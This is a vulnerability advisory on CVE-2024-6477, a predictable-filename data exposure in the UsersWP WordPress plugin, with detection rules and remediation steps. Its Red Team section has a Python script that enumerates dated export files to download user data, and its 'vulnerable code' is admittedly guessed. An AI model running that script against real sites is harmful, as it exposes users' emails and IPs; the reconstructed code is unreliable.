CVE-2024-6477

Executive Summary

CVE-2024-6477 is a vulnerability in the UsersWP WordPress plugin that exposes sensitive user information through predictable export filenames. When an administrator generates an export of user data, the resulting file is stored with a predictable naming pattern. This allows unauthenticated attackers to enumerate and download these export files, gaining access to sensitive information such as IP addresses, usernames, and email addresses. The vulnerability affects all versions of the plugin prior to 1.2.12. The CVSS score is 0.0 due to incomplete scoring data, but the actual risk is moderate (estimated CVSS 5.3). No public exploit code or Nuclei template is available, but the attack vector is straightforward.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. UsersWP is distributed through the official WordPress plugin repository. The supply chain risk is low, as the vulnerability is in the plugin's own export functionality, not in a dependency. However, any site running an outdated version of UsersWP is at risk.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The attacker can exploit this remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Unchanged (U) - The vulnerability does not affect other components.
• Confidentiality (C): Low (L) - Only limited information (IP, username, email) is exposed.
• Integrity (I): None (N) - No data modification possible.
• Availability (A): None (N) - No denial of service.

Threat Level: Medium. The vulnerability allows unauthenticated access to sensitive user data, which can be used for targeted phishing or account enumeration.

Deep Dive & Mechanics

The UsersWP plugin provides an admin feature to export user data (e.g., for backup or migration). The export process generates a CSV file and stores it in a web-accessible directory (typically /wp-content/uploads/userswp-exports/). The filename is constructed using a predictable pattern, such as users-export-YYYY-MM-DD.csv or a sequential number. An attacker can brute-force or guess these filenames and download the files directly without authentication.

The root cause is the lack of randomization or access control on the generated export files. The plugin does not use a nonce or unique token in the filename, nor does it restrict access via .htaccess or server configuration.

Vulnerable vs. Patched Code

Vulnerable Code (pre-1.2.12): The export function likely uses a simple date-based or sequential filename:

$filename = 'users-export-' . date('Y-m-d') . '.csv';
$filepath = WP_CONTENT_DIR . '/uploads/userswp-exports/' . $filename;
// ... generate CSV and save to $filepath

Patched Code (1.2.12+): The patched version introduces a random token in the filename and may add access control:

$token = wp_generate_password(16, false);
$filename = 'users-export-' . $token . '-' . date('Y-m-d') . '.csv';
$filepath = WP_CONTENT_DIR . '/uploads/userswp-exports/' . $filename;
// ... generate CSV and save to $filepath
// Additionally, a .htaccess file is placed in the directory to deny direct access.

Exploitation & Lab Setup

Red Team (Attacker)

1. Reconnaissance: Identify WordPress sites using UsersWP. Look for the plugin's assets or known paths.
2. Enumerate Export Files: Attempt to download files from /wp-content/uploads/userswp-exports/ with predictable names:
   • users-export-2024-01-01.csv
   • users-export-2024-01-02.csv
   • etc.
3. Automate: Use a script to iterate over dates or sequential numbers.

Example Python script:

import requests
from datetime import datetime, timedelta

base_url = "https://target.com/wp-content/uploads/userswp-exports/"
start_date = datetime(2024, 1, 1)
for i in range(365):
    date_str = (start_date + timedelta(days=i)).strftime("%Y-%m-%d")
    url = f"{base_url}users-export-{date_str}.csv"
    r = requests.get(url)
    if r.status_code == 200 and "username" in r.text:
        print(f"Found: {url}")
        # Save or process the data

Blue Team (Defender)

1. Detection: Monitor access logs for requests to /wp-content/uploads/userswp-exports/ with CSV files.
2. Prevention: Immediately upgrade to UsersWP 1.2.12 or later.
3. Hunting: Check for existing export files in the uploads directory and remove them.
4. Hardening: Add a .htaccess file to the exports directory to deny all access:

   Deny from all
   

Indicators of Compromise (IOCs)

• File Paths:
  • /wp-content/uploads/userswp-exports/users-export-*.csv
• Network Requests:
  • GET requests to /wp-content/uploads/userswp-exports/users-export-*.csv from unknown IPs.
• Log Entries:
  • HTTP 200 responses for the above paths from unauthenticated users.
• User Data Exposure:
  • CSV files containing columns: username, email, ip_address, etc.

Detection Engineering

YARA Rule

rule Detect_UsersWP_Export_File {
    meta:
        description = "Detects UsersWP export CSV files with predictable names"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-6477"
    strings:
        $header = "username,email,ip_address" ascii wide nocase
        $filename = /users-export-\d{4}-\d{2}-\d{2}\.csv/ ascii wide
    condition:
        $header and $filename
}

Sigma Rule

title: UsersWP Export File Access
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects unauthenticated access to UsersWP export CSV files
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: GET
        cs-uri-stem|startswith: '/wp-content/uploads/userswp-exports/'
        cs-uri-stem|endswith: '.csv'
    condition: selection
falsepositives:
    - Legitimate admin access (rare)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-6477 UsersWP Export File Access"; flow:to_server; content:"GET"; http_method; content:"/wp-content/uploads/userswp-exports/"; http_uri; content:".csv"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade UsersWP to version 1.2.12 or later.
2. Workaround: If upgrade is not possible, manually delete all existing export files from /wp-content/uploads/userswp-exports/ and add a .htaccess file with Deny from all.
3. Long-term: Implement a security policy to review plugin updates regularly. Use a Web Application Firewall (WAF) to block direct access to export directories.
4. Monitoring: Enable logging for the uploads directory and alert on CSV file downloads.

Valters IT
Securing WordPress Ecosystems